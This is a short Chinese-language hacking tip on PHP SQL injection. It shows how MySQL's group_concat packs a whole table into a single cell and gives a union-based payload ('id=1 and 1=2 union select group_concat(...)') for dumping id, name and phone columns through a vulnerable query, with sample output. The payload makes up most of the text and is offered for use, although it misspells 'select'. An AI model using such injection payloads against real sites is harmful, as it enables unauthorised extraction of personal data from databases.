php sql injector的时候，很多情况下都是显示一行一行的数据，要一次得到全部数据或者表格，那就的重复多次。

 

函数group_concat可以实现将表格放入一个单元格中（即仅有一行一列）

 

例如：

 

select group_concat(id,0x7c,name,0x7c,tel,0x5d) from g

 

那么将得到：

 

1|张三|83023023],|李四|13893232322],.....

 

（注意上面查询结果不是一行多列，而是一行一列）

 

假设原来的sql注入地方为：

 

select name from userinfo where id=$id

 

那么可以这样构造：

 

id=1 and 1=2 union selelct group_concat(id,0x7c,name,0x7c,tel,0x5d) from g